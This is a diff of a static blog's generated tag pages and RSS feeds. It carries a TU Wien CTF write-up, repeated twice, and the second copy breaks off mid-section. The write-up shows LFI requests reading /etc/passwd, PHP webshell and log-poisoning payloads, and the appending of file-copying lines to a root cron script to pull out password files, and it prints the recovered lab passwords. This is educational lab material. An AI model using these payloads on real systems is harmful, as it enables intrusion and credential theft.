    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/letsencrypt/page/1/index.html b/public-clearnet/tags/letsencrypt/page/1/index.html new file mode 100644 index 0000000..394df56 --- /dev/null +++ b/public-clearnet/tags/letsencrypt/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/letsencrypt/ + \ No newline at end of file diff --git a/public-clearnet/tags/lfi/index.html b/public-clearnet/tags/lfi/index.html new file mode 100644 index 0000000..b4c39db --- /dev/null +++ b/public-clearnet/tags/lfi/index.html @@ -0,0 +1,11 @@ +Lfi | AlipourIm journeys +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/lfi/index.xml b/public-clearnet/tags/lfi/index.xml new file mode 100644 index 0000000..15d405c --- /dev/null +++ b/public-clearnet/tags/lfi/index.xml @@ -0,0 +1,360 @@ +Lfi on AlipourIm journeyshttps://blog.alipour.eu/tags/lfi/Recent content in Lfi on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/lfi/page/1/index.html b/public-clearnet/tags/lfi/page/1/index.html new file mode 100644 index 0000000..162e5de --- /dev/null +++ b/public-clearnet/tags/lfi/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/lfi/ + \ No newline at end of file diff --git a/public-clearnet/tags/linux/index.html b/public-clearnet/tags/linux/index.html new file mode 100644 index 0000000..bf980b2 --- /dev/null +++ b/public-clearnet/tags/linux/index.html @@ -0,0 +1,12 @@ +Linux | AlipourIm journeys +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/linux/index.xml b/public-clearnet/tags/linux/index.xml new file mode 100644 index 0000000..78dbbbb --- /dev/null +++ b/public-clearnet/tags/linux/index.xml @@ -0,0 +1,525 @@ +Linux on AlipourIm journeyshttps://blog.alipour.eu/tags/linux/Recent content in Linux on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
